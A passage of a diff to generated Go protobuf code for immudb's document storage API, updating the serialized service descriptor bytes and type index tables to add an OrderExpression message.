0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, - 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, 0x41, 0x09, + 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, + 0x01, 0x2a, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x6d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x97, 0x01, + 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, - 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, + 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x83, 0x01, 0x0a, 0x0d, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, - 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, - 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, - 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, - 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, - 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, - 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, - 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, + 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, + 0x74, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x42, 0xb0, 0x01, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, + 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, + 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, + 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, + 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, + 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2454,7 +2515,7 @@ func file_documents_proto_rawDescGZIP() []byte { } var file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 35) +var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 36) var file_documents_proto_goTypes = []interface{}{ (FieldType)(0), // 0: immudb.model.FieldType (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator @@ -2482,20 +2543,21 @@ var file_documents_proto_goTypes = []interface{}{ (*DocumentUpdateRequest)(nil), // 23: immudb.model.DocumentUpdateRequest (*DocumentUpdateResponse)(nil), // 24: immudb.model.DocumentUpdateResponse (*DocumentSearchRequest)(nil), // 25: immudb.model.DocumentSearchRequest - (*Query)(nil), // 26: immudb.model.Query - (*QueryExpression)(nil), // 27: immudb.model.QueryExpression - (*FieldComparison)(nil), // 28: immudb.model.FieldComparison - (*DocumentSearchResponse)(nil), // 29: immudb.model.DocumentSearchResponse - (*DocumentAtRevision)(nil), // 30: immudb.model.DocumentAtRevision - (*DocumentAuditRequest)(nil), // 31: immudb.model.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 32: immudb.model.DocumentAuditResponse - (*DocumentProofRequest)(nil), // 33: immudb.model.DocumentProofRequest - (*DocumentProofResponse)(nil), // 34: immudb.model.DocumentProofResponse - (*DocumentDeleteRequest)(nil), // 35: immudb.model.DocumentDeleteRequest - (*DocumentDeleteResponse)(nil), // 36: immudb.model.DocumentDeleteResponse - (*structpb.Struct)(nil), // 37: google.protobuf.Struct - (*structpb.Value)(nil), // 38: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 39: immudb.schema.VerifiableTxV2 + (*OrderExpression)(nil), // 26: immudb.model.OrderExpression + (*Query)(nil), // 27: immudb.model.Query + (*QueryExpression)(nil), // 28: immudb.model.QueryExpression + (*FieldComparison)(nil), // 29: immudb.model.FieldComparison + (*DocumentSearchResponse)(nil), // 30: immudb.model.DocumentSearchResponse + (*DocumentAtRevision)(nil), // 31: immudb.model.DocumentAtRevision + (*DocumentAuditRequest)(nil), // 32: immudb.model.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 33: immudb.model.DocumentAuditResponse + (*DocumentProofRequest)(nil), // 34: immudb.model.DocumentProofRequest + (*DocumentProofResponse)(nil), // 35: immudb.model.DocumentProofResponse + (*DocumentDeleteRequest)(nil), // 36: immudb.model.DocumentDeleteRequest + (*DocumentDeleteResponse)(nil), // 37: immudb.model.DocumentDeleteResponse + (*structpb.Struct)(nil), // 38: google.protobuf.Struct + (*structpb.Value)(nil), // 39: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 40: immudb.schema.VerifiableTxV2 } var file_documents_proto_depIdxs = []int32{ 4, // 0: immudb.model.CollectionCreateRequest.fields:type_name -> immudb.model.Field @@ -2505,53 +2567,54 @@ var file_documents_proto_depIdxs = []int32{ 4, // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection - 37, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 37, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct - 26, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query - 37, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 26, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query - 27, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression - 28, // 13: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison - 1, // 14: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 38, // 15: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value - 30, // 16: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 37, // 17: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 30, // 18: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 39, // 19: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 26, // 20: immudb.model.DocumentDeleteRequest.query:type_name -> immudb.model.Query - 2, // 21: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest - 6, // 22: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest - 9, // 23: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest - 11, // 24: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest - 13, // 25: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest - 15, // 26: immudb.model.DocumentService.IndexCreate:input_type -> immudb.model.IndexCreateRequest - 17, // 27: immudb.model.DocumentService.IndexDelete:input_type -> immudb.model.IndexDeleteRequest - 19, // 28: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest - 21, // 29: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest - 23, // 30: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest - 25, // 31: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest - 31, // 32: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest - 33, // 33: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest - 35, // 34: immudb.model.DocumentService.DocumentDelete:input_type -> immudb.model.DocumentDeleteRequest - 3, // 35: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse - 7, // 36: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse - 10, // 37: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse - 12, // 38: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse - 14, // 39: immudb.model.DocumentService.CollectionUpdate:output_type -> 